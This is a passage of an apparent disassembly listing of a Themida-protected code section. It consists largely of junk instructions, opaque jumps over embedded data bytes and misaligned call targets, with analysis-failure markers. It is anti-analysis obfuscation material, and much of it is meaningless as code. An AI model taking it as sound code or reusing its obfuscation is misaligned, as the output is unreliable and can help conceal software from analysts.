dd 3E2865B9h, 5CAB744Ah, 1CF02560h
db 0EFh, 62h
; ---------------------------------------------------------------------------
loc_5FEBD2: ; CODE XREF: Themida_:005FEBBEj
jmp loc_5FEBE4
; ---------------------------------------------------------------------------
db 0Ch
dd 0B8403E7Eh, 95E1ACCBh, 116048F2h
; ---------------------------------------------------------------------------
loc_5FEBE4: ; CODE XREF: Themida_:loc_5FEBD2j
mov ecx, 5FCE1B08h
mov esi, 379110h
xor eax, 562BB082h
add edi, 31E23E90h
mov ecx, edx
or bl, 2
add bx, 6B78h
mov si, 0FB60h
mov cx, 87C8h
mov al, 5Eh
mov cx, 0A9F4h
sbb bx, 1C9Ch
mov cx, dx
add al, 0AAh
clc
jmp loc_5FEC33
; ---------------------------------------------------------------------------
db 33h
dd 3BE15A6Ah, 0D8BCD6FCh, 9BF3A513h
; ---------------------------------------------------------------------------
sub esp, [edi-21h]
loc_5FEC33: ; CODE XREF: Themida_:005FEC1Ej
add di, 502Fh
jmp loc_5FEC4B
; ---------------------------------------------------------------------------
db 0CFh, 0F5h, 95h
dd 0AFB16B2Eh, 61EDFC08h
db 2 dup(7Ah), 0A5h
; ---------------------------------------------------------------------------
loc_5FEC4B: ; CODE XREF: Themida_:005FEC38j
adc edi, 3313D05Dh
mov dx, 8B71h
jmp loc_5FEC6A
; ---------------------------------------------------------------------------
dw 0B441h
dd 0E1D366D0h, 2EE53CF2h, 9FCFE33Bh
db 7Ch, 6Bh
; ---------------------------------------------------------------------------
loc_5FEC6A: ; CODE XREF: Themida_:005FEC55j
ja loc_5FEC73
mov ax, dx
loc_5FEC73: ; CODE XREF: Themida_:loc_5FEC6Aj
stc
call near ptr loc_5FEC7C+2
jle short near ptr loc_5FEC84+1
pushf
loc_5FEC7C: ; CODE XREF: Themida_:005FEC74p
cmp [ebp+66595950h], dh
mov ecx, esi
loc_5FEC84: ; CODE XREF: Themida_:005FEC79j
mov edx, 8860973h
mov esi, edx
mov si, 53B2h
movsx edx, di
pusha
call near ptr loc_5FECA8+1
adc [esp+eax], eax
leave
stosd
adc ebp, [esi+3F062128h]
sbb byte ptr [edx-71h], 17h
push eax
loc_5FECA8: ; CODE XREF: Themida_:005FEC93p
lock mov bl, cl
pop eax
jmp loc_5FECC0
; ---------------------------------------------------------------------------
db 94h, 5Fh, 72h
dd 0EC65456Bh, 27C9D8A2h, 7F4F41F4h
; ---------------------------------------------------------------------------
loc_5FECC0: ; CODE XREF: Themida_:005FECACj
popa
jmp loc_5FECD1
; ---------------------------------------------------------------------------
dw 0FE96h
; ---------------------------------------------------------------------------
push esi
scasd
daa
mov ch, [edx+11EF2123h]
loc_5FECD1: ; CODE XREF: Themida_:005FECC1j
mov edi, esi
push ebx
mov al, dl
pop ecx
jge loc_5FECDE
cmc
loc_5FECDE: ; CODE XREF: Themida_:005FECD7j
mov bl, 0F8h
movzx ecx, ax
sbb cx, 0C44Fh
jnz loc_5FECF2
mov ax, 1A17h
loc_5FECF2: ; CODE XREF: Themida_:005FECE8j
jge loc_5FECFA
mov eax, ebx
loc_5FECFA: ; CODE XREF: Themida_:loc_5FECF2j
clc
mov ebx, eax
movsx edx, dx
sbb bl, 34h
ja loc_5FED0F
or ecx, 72B45B28h
loc_5FED0F: ; CODE XREF: Themida_:005FED03j
jmp loc_5FED22
; ---------------------------------------------------------------------------
dd 0E47CCAB8h, 95E868DEh, 6E8A3h
db 0C8h, 31h
; ---------------------------------------------------------------------------
loc_5FED22: ; CODE XREF: Themida_:loc_5FED0Fj
mov di, bx
mov esi, edx
mov ax, 0FC81h
jp loc_5FED33
mov cl, 0C2h
loc_5FED33: ; CODE XREF: Themida_:005FED2Bj
jo loc_5FED52
jmp loc_5FED52
; ---------------------------------------------------------------------------
dw 1539h
dd 158BB6A9h, 1BE08953h, 8372A7D0h, 362662D2h
; ---------------------------------------------------------------------------
sub esi, [eax]
loc_5FED52: ; CODE XREF: Themida_:loc_5FED33j
; Themida_:005FED39j
clc
or ebx, 601C9174h
mov si, 0B568h
jo loc_5FED66
movzx eax, si
loc_5FED66: ; CODE XREF: Themida_:005FED5Dj
mov edx, esi
jmp loc_5FED7E
; ---------------------------------------------------------------------------
db 9Dh, 72h, 11h
dd 54E1DD72h, 0FB40F795h, 6837539Bh
db 0FBh, 23h
; ---------------------------------------------------------------------------
loc_5FED7E: ; CODE XREF: Themida_:005FED68j
mov esi, 775E8A6Fh
xor ecx, 1C86EE55h
xor edx, 59571608h
sbb esi, 6CD14401h
cld
mov eax, 3064F02Bh
call near ptr loc_5FEDAA+1
mov cl, 8Ch
xor esp, [ebp+2DEE9953h]
and ecx, edx
loc_5FEDAA: ; CODE XREF: Themida_:005FED9Bp
call far ptr 73A8h:5CF8E281h
pop ecx
call near ptr loc_5FEDBA+8
fcomp qword ptr [edi-36h]
loc_5FEDBA: ; CODE XREF: Themida_:005FEDB2p
imul eax, [esi+ecx*8-0B080619h], 0D7816611h
jz short loc_5FEDFD
pop edx
mov ax, 0D26h
xor cl, 79h
movzx edi, ax
or ax, 265h
jns loc_5FEDE2
xor dx, 1F57h
loc_5FEDE2: ; CODE XREF: Themida_:005FEDD7j
mov bh, dl
xor edi, 0D1F6D4Ah
mov dx, cx
jge $+6
xor ch, 23h
mov ax, 0B28Bh
and bh, 9Eh
loc_5FEDFD: ; CODE XREF: Themida_:005FEDC5j
pusha
jmp loc_5FEE0E
; ---------------------------------------------------------------------------
db 19h
dd 80415F39h, 0F1B7FBCCh
db 0A4h, 1Ah
; ---------------------------------------------------------------------------
loc_5FEE0E: ; CODE XREF: Themida_:005FEDFEj
mov cx, 49FEh
popa
movzx eax, si
sbb bh, 79h
sbb cx, 0CEE7h
sub ah, 0FEh
push edx
jp loc_5FEE2A
mov ch, bh
loc_5FEE2A: ; CODE XREF: Themida_:005FEE22j
pop edi
mov bl, 21h
jmp loc_5FEE37
; ---------------------------------------------------------------------------
dw 6D6Ch
db 20h, 25h, 0B0h
; ---------------------------------------------------------------------------
loc_5FEE37: ; CODE XREF: Themida_:005FEE2Dj
push eax
jmp loc_5FEE44
; ---------------------------------------------------------------------------
db 14h, 0C5h, 7Ah
dd 5256ABE6h
; ---------------------------------------------------------------------------
loc_5FEE44: ; CODE XREF: Themida_:005FEE38j
pop eax
cld
adc ecx, 7B4251A8h ; CODE XREF: Themida_:005FEE8Fj
add bx, 0BF94h
push edi
movsx eax, ax
pop esi
call near ptr loc_5FEE64+1
shl byte ptr [ecx-64607B18h], 1
daa
dec ax
loc_5FEE64: ; CODE XREF: Themida_:005FEE56p
adc al, 66h
mov edx, 665AB066h
add edx, 666022D2h
mov edx, ecx
jg loc_5FEE7B
push edx
pop ecx
loc_5FEE7B: ; CODE XREF: Themida_:005FEE73j
popa
mov ah, dl
movsx esi, di
call near ptr loc_5FEE8F+1
test al, 0E0h
inc eax
or ch, [esi]
push edx
jno short near ptr loc_5FEE9C+1
xchg eax, edi
loc_5FEE8F: ; CODE XREF: Themida_:005FEE81p
loope near ptr loc_5FEE46+1
cmp eax, 8EBE6658h
lea eax, [eax-75F0F13Fh]
loc_5FEE9C: ; CODE XREF: Themida_:005FEE8Cj
add al, 0
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
mov ax, 0B5h
mov dh, 0BDh
mov dh, al
stc
mov si, cx
cld
pusha
jmp loc_5FEEBF
; ---------------------------------------------------------------------------
db 4Fh
dd 0A56DDB35h, 504DB0EDh
db 0B6h, 0FCh, 83h
; ---------------------------------------------------------------------------
loc_5FEEBF: ; CODE XREF: Themida_:005FEEAEj
mov bh, 0B4h
popa
jmp loc_5FEED1
; ---------------------------------------------------------------------------
db 1Ah
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0C6h, 0Fh, 92h
dd 4095DF8Fh
db 69h
; ---------------------------------------------------------------------------
loc_5FEED1: ; CODE XREF: Themida_:005FEEC2j
mov dl, 0B6h
jmp loc_5FEEEC
; ---------------------------------------------------------------------------
dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h
; ---------------------------------------------------------------------------
loc_5FEEEC: ; CODE XREF: Themida_:005FEED3j
pusha
cld
mov ecx, eax
popa
mov di, 597Fh
xor edi, 564040B9h
call near ptr loc_5FEF05+1
xor eax, 66A0362Dh
loc_5FEF05: ; CODE XREF: Themida_:005FEEFBp
and ebp, ecx
adc al, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 99h
dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h, 0E8F55849h
dd 5, 17CC5CB7h, 0D7F0B907h, 0E9596736h, 0Eh, 166131C4h
dd 9D75EE11h, 5670E121h, 8B661FB9h, 0F9CB8AD0h, 8B66F78Bh
dd 830FF9h, 66000000h, 14CDD881h, 7E8F9h, 456B0000h, 0D8A2EC65h
dd 0E95FF5C9h, 0Fh, 8A042F94h, 0A3374469h, 0F87342D2h
dd 0F96FEF9Fh, 8BC68B66h, 0BE9F0h, 0A40A0000h, 3B95B005h
dd 7D0F3700h, 0AF12BE97h, 8B665462h, 0BE8FCD8h, 6A000000h
dd 1E6446DFh, 352F2BA3h, 0D281E03Bh, 6FC129E1h, 0BB9EB658h
dd 10388016h, 9C5BB66h, 0AE9h, 44CF6200h, 7B9A1C4Dh, 0F4BDA47h
dd 68Fh, 92C78100h, 660C125Bh, 605218BAh, 0E281CF8Bh, 5875FE14h
dd 0EE861h, 0AA120000h, 3754FB5Bh, 0AC0C6633h, 32D0A030h
dd 0F5F78B1h, 38Fh, 0E4E98000h, 13E8h, 0BDB64300h, 60767591h
dd 123F88BFh, 5A61CD90h, 0C0CC6B6h, 12E9h, 3F4B5800h, 0E69A09FFh
dd 707B7D4Bh, 4B6BB8E0h, 5F2BD1C0h, 5E982B0h, 0AE000000h
dd 0B035824Fh, 12E8h, 3EBAEC00h, 0B6EE40E4h, 419D5532h
dd 23BCEFD6h, 50FDFF53h, 5EC2BF0Fh, 91BE665Ah, 51EE817Ah
dd 0F43E1B5h, 18B1DFBFh, 8E960h, 8E800000h, 5F0F49D3h
dd 0F861CE47h, 5820Fh, 81660000h, 60E4A9D3h, 51DBBF0Fh
dd 6E8h, 0EB52B800h, 585BA5ABh, 7FB9615Ah, 66298ACEh, 850FC68Bh
dd 5, 0E0EA8166h, 0C1B70F07h, 5E50F98Bh, 13E8h, 0C03EFE00h
dd 87B6FD8Ah, 0A03CBF34h, 26667D6Ch, 0E24713B2h, 0DACB8051h
dd 0F5565A5Fh, 22B86659h, 0B8B96679h, 0FCA4BFB3h, 12E81487h
dd 32000000h, 6136AC2Ah, 0F4259CADh, 5F23684Fh, 2C8B1F0Bh
dd 8B666056h, 0CABF0FD6h, 0E9505B61h, 9, 784AEADAh, 0F04E443Ah
dd 60FC5E8Fh, 6061FA8Bh, 6667E180h, 615D43BFh, 6FAAB966h
dd 98C58060h, 8F0Fh, 0E9610000h, 0Bh, 4C1BEC0Ch, 4EBF76FAh
dd 0B0A74F79h, 5840FFAh, 0B9000000h, 5FA68C91h, 3880Fh
dd 8B660000h, 978FBAC7h, 0DA8A623Fh, 0DDBBD0B2h, 0BA470493h
dd 196B0424h, 0E0816652h, 6059B0C0h, 3820Fh, 0B70F0000h
dd 615A56DFh, 58C0Fh, 69BA0000h, 0E936B6DBh, 10h, 152925ABh
dd 0B1077759h, 0E13C8EB3h, 1E94EB05h, 0E6EA8160h, 61368D9Dh
dd 8166C3B6h, 806BA7CEh, 0BF0FABDBh, 6E9D8h, 548A0000h
dd 5C936E4h, 6810Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
or ch, 31h
movsx esi, dx
push esi
jmp loc_5FF1E7
; ---------------------------------------------------------------------------
dd 80CA04EFh, 95D3DA3Fh, 0D135CD9Ch, 7B0625C6h
db 63h, 59h, 85h
; ---------------------------------------------------------------------------
loc_5FF1E7: ; CODE XREF: Themida_:005FF1CFj
pop esi
add si, 6861h
pusha
jge loc_5FF1F9
and bx, 516Ch
loc_5FF1F9: ; CODE XREF: Themida_:005FF1EEj
clc
popa
sbb edi, 89AC9E7h
mov di, 0DC92h
movsx edi, di
jmp loc_5FF21A
; ---------------------------------------------------------------------------
db 7Fh, 6Bh, 10h
dd 16199D1Dh, 0CB76AE39h
db 32h, 98h
; ---------------------------------------------------------------------------
loc_5FF21A: ; CODE XREF: Themida_:005FF208j
js loc_5FF233
push edi
jmp loc_5FF232
; ---------------------------------------------------------------------------
dw 9D0Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 3Ch, 0C4h, 8Ah
dd 696C2C29h
; ---------------------------------------------------------------------------
inc esi
pop esi
loc_5FF232: ; CODE XREF: Themida_:005FF221j
pop edx
loc_5FF233: ; CODE XREF: Themida_:loc_5FF21Aj
mov bh, 56h
push edx
mov dl, 0A5h
pop eax
mov si, ax
or ax, 833h
add bl, 82h
mov dl, 39h
jmp loc_5FF254
; ---------------------------------------------------------------------------
db 21h
dd 79785F1Ah, 0D1CBABC1h
; ---------------------------------------------------------------------------
loc_5FF254: ; CODE XREF: Themida_:005FF246j
pusha
jmp loc_5FF264
; ---------------------------------------------------------------------------
movsb
db 2Eh
add al, 0DBh
xor cl, [eax+4A5F5C58h]
loc_5FF264: ; CODE XREF: Themida_:005FF255j
js $+6
popa
mov ebx, 666A3F3Bh
jmp loc_5FF27C
; ---------------------------------------------------------------------------
db 0EFh, 48h, 57h
dd 85E7DA3Bh
; ---------------------------------------------------------------------------
loc_5FF27C: ; CODE XREF: Themida_:005FF270j
mov dl, bl
jo loc_5FF294
jmp loc_5FF294
; ---------------------------------------------------------------------------
db 6Bh, 99h, 56h
dd 1CC6C6A0h, 2B76CEE5h
; ---------------------------------------------------------------------------
loc_5FF294: ; CODE XREF: Themida_:005FF27Ej
; Themida_:005FF284j
movzx esi, di
jg loc_5FF2A2
adc di, 77DCh
loc_5FF2A2: ; CODE XREF: Themida_:005FF297j
mov bh, dl
movzx ebx, cx
add ah, 0FAh
and edi, 7A0D78C1h
cmc
and edx, 6873CCA1h
jnp loc_5FF2C0
mov cx, ax
loc_5FF2C0: ; CODE XREF: Themida_:005FF2B7j
js loc_5FF2CB
push ebx
sbb al, 0D8h
pop edi
loc_5FF2CB: ; CODE XREF: Themida_:loc_5FF2C0j
xor bx, 8287h
jnp loc_5FF2D9
xor ah, 48h
loc_5FF2D9: ; CODE XREF: Themida_:005FF2D0j
call near ptr loc_5FF2EB+4
dec ecx
xor bl, [esi]
mov eax, ds:663CC5EEh
pop es
db 36h
pop edx
in eax, 7Ch
loc_5FF2EB: ; CODE XREF: Themida_:loc_5FF2D9p
jmp near ptr 66EB87F0h
; ---------------------------------------------------------------------------
dd 0B76CF81h, 14E95Eh, 0CB30000h, 454E134Bh, 0EA742BEAh
dd 0A9B9A8C4h, 5012FF82h, 0FEBFFAE5h, 0F4852FAh, 1986h
dd 14E900h, 65F50000h, 33D67D9Ch, 1AAB0AD7h, 651212A1h
dd 18B3DBF3h, 0C381B006h, 2E1B4B98h, 3810FFCh, 66000000h
dd 14E9CE8Bh, 74000000h, 96FED67Eh, 51283E96h, 0A028D711h
dd 705737D8h, 0F54394Ch, 6E9DFB7h, 0F3000000h, 223B3FA7h
dd 8166604Eh, 0F92DDAD2h, 18870F61h, 50000000h, 11E9h
dd 847D6A00h, 2D967712h, 9DC549D9h, 0B5632F1h, 605BE4A4h
dd 4CD28166h, 616DB213h, 48E0Fh, 0B6570000h, 8E85F0Ah
dd 3C000000h, 8AC8F384h, 66331175h, 5F2AD0BFh, 18D0Fh
dd 0B9F50000h, 2C94BD30h, 68E0Fh, 0D0810000h, 29EA2577h
dd 0F287B966h, 0F532ED80h, 5DBA6651h, 8B665A95h, 0AE9F8h
dd 81C50000h, 2AE4D8D7h, 0EF1E78EEh, 0DE9h, 0B9C5ED00h
dd 0E83AC46Ch, 3C98E737h, 13E9E34Bh, 0A8000000h, 22C2CDA3h
dd 675FEF8Fh, 0E68C8EC3h, 5F41E4C5h, 3EB89299h, 0F0AFC41h
dd 383h, 0DABF0F00h, 6E9h, 0C8752B00h, 66A8B7ECh, 870FFA8Bh
dd 6, 900FD681h, 0F1BA31B9h, 0E96E5A9Bh, 5, 0D08154FDh
dd 3FBE666Dh, 0BE958h, 4DD80000h, 0F5A00E8h, 1F3816E6h
dd 0BE8DEh, 5E1A0000h, 3A252230h, 0F5CAA36Fh, 18F9B922h
dd 0F5B23D4h, 48Fh, 56BF6600h, 7B55BF56h, 10E92635h, 21000000h
dd 0A33F5F77h, 97343FDAh, 0AD74F4ECh, 6688F071h, 0F0B9CB8h
dd 1888h, 13E900h, 0CB760000h, 20A19832h, 1CB91509h, 0AB1FEB46h
dd 6E532419h, 0B70F60D1h, 61CA8AF7h, 0EBCA8166h, 66595090h
dd 0B70FDF8Bh, 0CE9D3h, 0A35D0000h, 2772E3B0h, 1FD8B817h
dd 0BF0F46BEh, 66F78BD9h, 810F5CB9h, 25C288D9h, 8F9B96Eh
dd 0C1815A52h, 4C53435Fh, 0FE9h, 92B9B300h, 948E189h, 0C9E9A78Dh
dd 0BD924586h, 3840Fh, 8B660000h, 5810FD1h, 66000000h
dd 6089E981h, 0F8C98150h, 5B0D5F32h, 10E9h, 0CC6F5D00h
dd 29544538h, 0BF2A7706h, 0D81A1012h, 0BF66F511h, 0CC8AD97Dh
dd 2DF28166h, 7E960h, 6FAD0000h, 4DB56F9Ch, 12820F03h
dd 0E8000000h, 0Ah, 10B2252Ah, 789A837Ah, 5951116Ah, 74D0805Eh
dd 860Fh, 0AE80000h, 4C000000h, 62E2212Ch, 1C2FDC16h, 0F5BFCFCh
dd 488h, 0CABE6600h, 0D8BF66ADh, 0FEBF0F9Ah, 4810Fh, 0B8660000h
dd 0B70F9217h, 18F0FC9h, 0F9000000h, 13E9h, 7CEBED00h
dd 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh, 0F29D0C0Dh, 4800Fh
dd 0BE660000h, 0B70F70AFh, 0FF98BC7h, 184h, 9E9F500h, 0FB000000h
dd 5F22B2AFh, 2FF96FB0h, 0E3F4FDBEh, 78C0F75h, 60000000h
dd 83E98166h, 0AE961A6h, 82000000h, 28862283h, 0DE970649h
dd 0C4B157F9h, 10E95Ah, 0D5F40000h, 96CEC5B0h, 6255C966h
dd 9E657Fh, 0D4803F70h, 0BB72BE89h, 8E91FF6h, 4D000000h
dd 9D9042F1h, 0E912E9EEh, 7, 341CE73Bh, 66866272h, 0FE8D98Bh
dd 71000000h, 6313EEC7h, 96D64631h, 4C63807Eh, 0BE98482h
dd 4F000000h, 0DA3CF9CAh, 85D9F132h, 665BDA84h, 660C06BBh
dd 0FC1F32B8h, 0A7EFC381h, 80601D61h, 0CE939F1h, 4F000000h
dd 4B546F15h, 798BFA5Bh, 61BECAE2h, 5890Fh, 81660000h
dd 811CFBDFh, 37F3CAC0h, 0F2B70F31h, 0FE9D18Bh, 99000000h
dd 0E2251AE7h, 91C0AFEh, 1B8E6C9h, 66F81902h, 0FCAC19B8h
dd 0FE8h, 21EC9200h, 0E21F2C22h, 27EBCEC0h, 0E7C7F0F6h
dd 5A585351h, 0FAB70F59h, 0F8C28B66h, 0FBD28166h, 0CE8CBh
dd 97B00000h, 0BFD3A4D8h, 0A6573C5h, 0BF0FCDD1h, 4CB85FC6h
dd 664978D3h, 66CE13BEh, 60FEA2BFh, 0CD11BB66h, 0C68B6656h
dd 0C3806158h, 0C38B668Bh, 6650D78Bh, 6659F38Bh, 0EE9D68Bh
dd 0
dd 6B41F8B5h, 3D1FADA2h, 0B9903ECEh, 60BEB201h, 80F88B66h
dd 506141E2h, 8C0F51h, 5F000000h, 0E881665Bh, 6060CAA7h
dd 0FA73DF81h, 816644C3h, 613F5DCFh, 0AE861h, 29400000h
dd 9821B3Ah, 542EB427h, 28B0Fh, 5E500000h, 10E958h, 0F7490000h
dd 0D4AE67C4h, 0ECE8D98Ah, 445B9DD7h, 0BF0F1A49h, 8BF28BCEh
dd 850FF0h, 0F000000h, 14E9FEBFh, 57000000h, 0BA8FC788h
dd 51354D7Fh, 9496BC94h, 0F64BD5Bh, 66F72340h, 0BF0FF88Bh
dd 5810FF7h, 0BE000000h, 5EAED2C5h, 13E9h, 1A63900h, 80EC63E0h
dd 518F4481h, 6CC51EAEh, 9078E030h, 288C0Fh, 0FE80000h
dd 0B9000000h, 78761D2Bh, 864B7156h, 5BD5A1E7h, 0EE9681Ch
dd 83000000h, 0BD4BA613h, 340C6E14h, 27C6862h, 0FC575F06h
dd 0CE95Bh, 8FA50000h, 0CF275AA8h, 42E9FE33h, 0E9FC3658h
dd 5, 0CEF181D7h, 68F0F0Ah, 81000000h, 77C01C2h, 0F0BF666Eh
dd 8166F8B8h, 0FCA07C6h, 8B66C0B7h, 9148BEC3h, 6E91D6Ch
dd 0F0000000h, 10FB5708h, 18850F8Dh, 0E9000000h, 13h, 0AED6EEA0h
dd 47B232D5h, 93CCB86Bh, 0BC8FF90Fh, 0F980DC3h, 8B66D2B7h
dd 13E9DAh, 0CC870000h, 0C41E5F50h, 6388631Ch, 993E69D4h
dd 1D424CA3h, 0F28166C7h, 880F2150h, 2, 8C0FDE8Bh, 5, 27B0BEBAh
dd 3A46BF6Ch, 0FF558B9h, 0F52DBB7h, 188h, 0B45EF900h, 4DBA6092h
dd 617E84D5h, 890F60h, 61000000h, 0DD2CC3B8h, 7E9F504h
dd 0F8000000h, 0C9F42F84h, 66F575BBh, 0DB81D881h, 17800Fh
dd 12E90000h, 6C000000h, 1B4EB1A8h, 4ADFBE76h, 0DC5808DBh
dd 0BA8E8909h, 47B86668h, 60F78BE2h, 66C28B66h, 0A8C0CB81h
dd 0FFCF861h, 198Ch, 14E900h, 67340000h, 5D655C1Eh, 0E724ADF9h
dd 0D341107Fh, 624605CAh, 8B519512h, 0E0805EFEh, 7BE18140h
dd 664F45C7h, 4CFF781h, 11E9h, 0FD3DDC00h, 0E554D1Fh, 379E7258h
dd 85C2AECDh, 8E96E7Fh, 7D000000h, 9B3FAB3h, 66F8E436h
dd 0F22A3BEh, 687h, 41C68100h, 0E937A04Bh, 8, 917F6E99h
dd 0C000CEC7h, 1A810Fh, 810F0000h, 14h, 0EE8h, 5BE1FA00h
dd 0C889EB88h, 9335F770h, 5ED607C6h, 0C8B0Fh, 810F0000h
dd 6, 890Fh, 810F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
call near ptr loc_5FF9D9+4
mov ebp, 0FAE3B8A8h
inc ebx
add dl, bl
loc_5FF9D9: ; CODE XREF: Themida_:005FF9CCp
sbb eax, 6050BB6Eh
movzx edx, di
push edi
pop ebx
popa
pop eax
movsx eax, si
pusha
mov ax, 5D62h
jmp loc_5FFA04
; ---------------------------------------------------------------------------
sub eax, 0BCD5D89Eh
inc ecx
mov dword ptr [esi], 2300E76Fh
aaa
mov eax, 0DF613878h
loc_5FFA04: ; CODE XREF: Themida_:005FF9EDj
popa
jle loc_5FFA0C
cmc
loc_5FFA0C: ; CODE XREF: Themida_:005FFA05j
jg $+6
jbe loc_5FFA2C
jmp loc_5FFA2C
; ---------------------------------------------------------------------------
adc [edx-5EACF2ECh], ecx
or [esi+ebp*2+5B9030BCh], eax
mov eax, ebx
loc_5FFA2C: ; CODE XREF: Themida_:005FFA12j
; Themida_:005FFA18j
mov edi, eax
jno loc_5FFA39
mov edi, 2F7D1848h
loc_5FFA39: ; CODE XREF: Themida_:005FFA2Ej
ja loc_5FFA41
mov eax, edi
loc_5FFA41: ; CODE XREF: Themida_:loc_5FFA39j
mov dl, 4Eh
call sub_5FFA51
cmp ch, ch
test [eax-42h], edx
jno short loc_5FFA72
db 36h
push cs
; =============== S U B R O U T I N E =======================================
sub_5FFA51 proc near ; CODE XREF: Themida_:005FFA43p
cmc
pop ebx
mov cx, di
sub dx, 0E6F9h
mov dx, bx
sub ebx, 3CC85C76h
movzx esi, dx
ja loc_5FFA86
jmp loc_5FFA86
; ---------------------------------------------------------------------------
loc_5FFA72: ; CODE XREF: Themida_:005FFA4Dj
das
mov ecx, 0FC8957D6h
sbb al, 3Bh
sub [ebx+5Dh], edx
inc edi
pop esp
cmp al, 0AFh
sub eax, 0CBB7AD8h
loc_5FFA86: ; CODE XREF: sub_5FFA51+16j
; sub_5FFA51+1Cj
add edi, 273EE40Bh
mov ax, 69ECh
pusha
mov bx, dx
jmp loc_5FFA9F
; ---------------------------------------------------------------------------
db 0D0h, 0FDh, 34h
db 5Dh, 0F2h, 80h
; ---------------------------------------------------------------------------
loc_5FFA9F: ; CODE XREF: sub_5FFA51+43j
popa
sub dl, 0B1h
xor dh, 0ECh
call sub_5FFAB4
push edx
iret
sub_5FFA51 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0B4h, 36h, 99h
dd 26E23D2Bh
; =============== S U B R O U T I N E =======================================
sub_5FFAB4 proc near ; CODE XREF: sub_5FFA51+55p
pop ebx
mov ecx, 780B2253h
mov bx, 1620h
mov si, 0AE47h
mov ax, 5CE1h
mov eax, 7D7BC7A0h
mov ecx, edi
call near ptr loc_5FFADC+1
fsubr dword ptr ds:3A9F5D9Bh
mov cl, 48h
jns short near ptr loc_5FFB4A+3
loc_5FFADC: ; CODE XREF: sub_5FFAB4+19p
in al, 0Fh
sub_5FFAB4 endp ; sp-analysis failed
pop dword ptr [eax+eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 66h
dd 5F0DEAB9h, 9E9h, 7B3FE700h, 87878F4Ah, 0BF6693CFh, 69BB7010h
dd 0F79CC53h, 28Ah, 660AB500h, 0FAB92B9h, 8B60CFB7h, 8F0F56FBh
dd 0
; ---------------------------------------------------------------------------
pop edi
popa
jnz loc_5FFB24
mov cx, 1423h
loc_5FFB24: ; CODE XREF: Themida_:005FFB1Aj
mov di, 0B0B0h
push eax
push esi
mov di, 0D2B4h
pop esi
pop edi
adc bx, 0D676h
jle loc_5FFB3E
movzx edi, dx
loc_5FFB3E: ; CODE XREF: Themida_:005FFB35j
push eax
jns loc_5FFB49
mov di, 7D37h
loc_5FFB49: ; CODE XREF: Themida_:005FFB3Fj
pop edi
loc_5FFB4A: ; CODE XREF: sub_5FFAB4+26j
jl loc_5FFB5A
pusha
mov eax, 757B1962h
mov ax, di
popa
loc_5FFB5A: ; CODE XREF: Themida_:loc_5FFB4Aj
mov edx, ecx
jmp loc_5FFB73
; ---------------------------------------------------------------------------
db 7Eh, 0DDh, 15h
dd 3DC52935h, 4133086Ch, 3684110Ch
db 29h, 0, 0D5h
; ---------------------------------------------------------------------------
loc_5FFB73: ; CODE XREF: Themida_:005FFB5Cj
clc
call sub_5FFB86
sti
retn
; ---------------------------------------------------------------------------
db 42h
dd 0A22034BAh, 78917644h
db 0ABh, 30h
; =============== S U B R O U T I N E =======================================
sub_5FFB86 proc near ; CODE XREF: Themida_:005FFB74p
mov bx, 4BABh
pop edx
call loc_5FFB95
; ---------------------------------------------------------------------------
dd 0BDBBD1F0h
db 4
; ---------------------------------------------------------------------------
loc_5FFB95: ; CODE XREF: sub_5FFB86+5j
cmc
pop ecx
xor ax, 0BF73h
mov cx, 74A3h
clc
mov dx, 2F6Bh
clc
sub cx, 6AA2h
push edi
mov esi, edi
pop esi
mov esi, 82B6748h
jmp loc_5FFBC1
; ---------------------------------------------------------------------------
db 9Bh, 8Bh, 0F8h
dd 879B3FC7h
db 3
; ---------------------------------------------------------------------------
loc_5FFBC1: ; CODE XREF: sub_5FFB86+2Ej
push edi
jp loc_5FFBDF
jmp loc_5FFBDF
; ---------------------------------------------------------------------------
db 0DCh, 9Ch, 4Ah
dd 3E442A1Ah, 45CC0A4Eh, 0D01355B0h
db 0CFh, 42h, 4Eh
; ---------------------------------------------------------------------------
loc_5FFBDF: ; CODE XREF: sub_5FFB86+3Cj
; sub_5FFB86+42j
pop eax
mov eax, 64D4B661h
jnz loc_5FFBF4
jno loc_5FFBF4
and dl, 71h
loc_5FFBF4: ; CODE XREF: sub_5FFB86+5Fj
; sub_5FFB86+65j
mov edx, ebx
jmp loc_5FFC0D
; ---------------------------------------------------------------------------
db 89h
dd 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0E0D912BEh
; ---------------------------------------------------------------------------
dec ebx
loc_5FFC0D: ; CODE XREF: sub_5FFB86+70j
mov ch, dl
movsx ecx, bx
mov cx, 7BAAh
mov ecx, edx
jge loc_5FFC20
mov cl, 3Fh
loc_5FFC20: ; CODE XREF: sub_5FFB86+92j
jmp loc_5FFC2B
; ---------------------------------------------------------------------------
db 0B4h, 50h, 37h
db 0DFh, 0CDh, 0C6h
; ---------------------------------------------------------------------------
loc_5FFC2B: ; CODE XREF: sub_5FFB86:loc_5FFC20j
jz loc_5FFC36
or bx, 60BBh
loc_5FFC36: ; CODE XREF: sub_5FFB86:loc_5FFC2Bj
cmc
jmp loc_5FFC50
; ---------------------------------------------------------------------------
dd 0C0A9779Bh
dword_5FFC40 dd 0CBC26C0Fh, 0F092B60Eh, 5BEFC63h, 4EAC0232h
; CODE XREF: Themida_:005FFC9Aj
; ---------------------------------------------------------------------------
loc_5FFC50: ; CODE XREF: sub_5FFB86+B1j
mov ecx, 24779B52h
mov eax, 11CEC2Fh
clc
mov ax, 0EABh
sbb edi, 45746BA3h
adc edx, 3433FB48h
mov si, cx
mov edx, ecx
mov ch, bl
mov esi, ebx
call near ptr loc_5FFC83+2
add ecx, 0Dh
loc_5FFC7C: ; CODE XREF: Themida_:005FFCDCj
mov esi, 0C2FDBE24h
repne pop edi
loc_5FFC83: ; CODE XREF: sub_5FFB86+EEp
add [ebx+66h], ch
sub_5FFB86 endp ; sp-analysis failed
sbb ebx, 665F5161h
mov ebx, 8B662585h
mov byte ptr [esi-75h], 0F3h
